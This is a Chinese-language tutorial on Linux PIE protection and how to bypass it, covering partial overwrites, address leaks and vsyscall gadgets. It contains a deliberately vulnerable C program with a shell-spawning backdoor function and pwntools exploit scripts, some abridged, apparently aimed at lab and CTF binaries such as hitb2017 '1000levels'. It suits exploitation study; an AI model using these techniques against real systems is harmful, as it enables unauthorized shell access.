PIE保护详解和常用bypass手法
字数 1185 2025-08-24 20:49:31
PIE保护详解及常用绕过手法
一、PIE保护概述
PIE(Position-Independent Executable,地址无关可执行文件)是一种针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的防护技术。当程序开启PIE保护时,每次加载程序都会变换加载地址,这使得传统的ROP攻击变得困难。
PIE保护效果对比
不开启PIE保护:
- 编译命令:
gcc -fno-stack-protector -no-pie -s test.c -o test - 特点:每次运行时加载地址不变
开启PIE保护:
- 特点:每次运行时加载地址随机变化
二、PIE绕过技术
1. Partial Write(部分写入)
原理
- 内存以页(0x1000字节)为单位载入
- 开启PIE时,同一页内的地址后三位十六进制数不变
- 通过覆盖地址的后几位来控制程序流程
示例代码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void houmen() {
system("/bin/sh");
}
void vuln() {
char a[20];
read(0,a,0x100);
puts(a);
}
int main(int argc, char const *argv[]) {
vuln();
return 0;
}
利用方法
- 找到目标函数地址与返回地址的差异
- 覆盖地址的后4位(倒数第四位需要爆破,范围0x0-0xf)
EXP代码
#coding:utf-8
import random
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x1c+4
list1 = ["\x05","\x15","\x25","\x35","\x45","\x55","\x65","\x75","\x85","\x95","\xa5","\xb5","\xc5","\xd5","\xe5","\xf5"]
while True:
try:
p = process("./test")
payload = offset*"a"+"\x7d"+random.sample(list1,1)[0]
p.send(payload)
p.recv()
p.recv()
except Exception as e:
p.close()
print e
2. 地址泄露
原理
- PIE只影响程序加载基地址,不影响指令间相对地址
- 通过泄露程序或libc的某些地址,计算偏移来构造ROP
利用方法
- 找到程序中的信息泄露漏洞
- 泄露
__libc_start_main+231和push r15等关键地址 - 计算libc基地址和程序加载基地址
EXP示例
#coding:utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
r = process("./pwn")
__libc_start_main_231_offset = 0x150+296
# 泄露__libc_start_main+231地址
for x in range(8):
r.recvuntil("input index\n")
r.sendline(str(__libc_start_main_231_offset+x))
# ... 省略部分代码 ...
# 计算基地址
__libc_start_main_addr = __libc_start_main_231_addr-231
libc = ELF("./libc.so.6")
base_addr = __libc_start_main_addr-libc.symbols["__libc_start_main"]
system_addr = libc.symbols['system']+base_addr
bin_sh_addr = 0x000000000017d3f3+base_addr
3. vdso/vsyscall利用
vsyscall介绍
- 加速系统调用的机制,将常用内核调用映射到用户空间
- 地址固定不变(可通过
cat /proc/self/maps| grep vsyscall查看) - 包含三个系统调用:
__NR_gettimeofday(96)__NR_time(201)__NR_getcpu(309)
特点
- vsyscall:必须从函数开头执行,否则会段错误
- vdso:指令可任意执行,但地址随机化(32位下爆破较容易)
利用方法
- 使用vsyscall中的固定地址作为gadget
- 常用地址:
- 0xffffffffff600000
- 0xffffffffff600400
- 0xffffffffff600800
EXP示例
from pwn import *
io = process('1000levels', env={'LD_PRELOAD':'./libc.so.6'})
libc_base = -0x456a0
one_gadget_base = 0x45526
vsyscall_gettimeofday = 0xffffffffff600000
# ... 省略部分代码 ...
io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3)
io.interactive()
三、技术要点总结
-
Partial Write:
- 利用内存页对齐特性
- 需要爆破部分地址位
- 适用于地址差异小的场景
-
地址泄露:
- 需要找到信息泄露漏洞
- 计算相对偏移是关键
- 适用于有信息泄露条件的场景
-
vsyscall/vdso:
- vsyscall地址固定但执行限制严格
- vdso灵活但地址随机
- 32位环境下vdso爆破更可行
四、参考文献
- hitb2017 - 1000levels [Study]
- 相关系统调用定义:
#define __NR_gettimeofday 96 #define __NR_time 201 #define __NR_getcpu 309
注意:实际利用时需要根据目标环境调整偏移和地址,测试时建议在调试环境下进行。